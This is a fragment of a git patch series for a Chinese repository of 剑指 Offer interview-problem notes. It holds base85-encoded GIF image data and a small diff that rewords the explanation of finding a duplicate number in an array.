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
Y?YTQ@RyTp%bE%)}|L6Mu&sO;V0rZn9761SM

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 68bf3267..b30c78c4 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -84,11 +84,6 @@
 
 # 1. 前言
 
-本文的绘图可通过以下途径免费获得并使用：
-
-- [ProcessOn](https://www.processon.com/view/5a3e4c7be4b0909c1aa18b49)
-- [DrawIO](https://drive.google.com/file/d/1nSSCpPUC05MFoeFuf_aeTtkm7dG5-bJ1/view?usp=sharing)
-
 本文内容可在微信小程序中阅读：
 
 <div align="center"> <img src="pics/gh_a68199af85d6_258_20_282_29.jpg"/> </div><br>
@@ -115,11 +110,13 @@ Output:
 
 ## 解题思路
 
-要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。牛客网讨论区这一题的首票答案使用 nums[i] + length 来将元素标记，这么做会有加法溢出问题。
+要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
 
-这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上。
+对于这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上进行求解。
 
-以 (2, 3, 1, 0, 2, 5) 为例：
+以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
+
+<div align="center"> <img src="pics/1.gif" width="350px"> </div><br>
 
 ```text
 position-0 : (2,3,1,0,2,5) // 2 <-> 1
@@ -132,8 +129,6 @@ position-3 : (0,1,2,3,2,5) // already in position
 position-4 : (0,1,2,3,2,5) // nums[i] == nums[nums[i]], exit
 ```
 
-遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复。
-
 ```java
 public boolean duplicate(int[] nums, int length, int[] duplication) {
     if (nums == null || length <= 0)

From 6d906577b9aa121c277f12c411f8e8e0f82f4e62 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 21 Jan 2019 23:35:47 +0800
Subject: [PATCH 031/100] auto commit

---
 docs/notes/pics/11548084848123.gif | Bin 0 -> 25600 bytes
 docs/notes/剑指 offer 题解.md      |  12 +-----------
 2 files changed, 1 insertion(+), 11 deletions(-)
 create mode 100644 docs/notes/pics/11548084848123.gif

diff --git a/docs/notes/pics/11548084848123.gif b/docs/notes/pics/11548084848123.gif
new file mode 100644
index 0000000000000000000000000000000000000000..278e51f5b5b6d6709ed37b84aeb3e74194d4e685
GIT binary patch
literal 25600
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
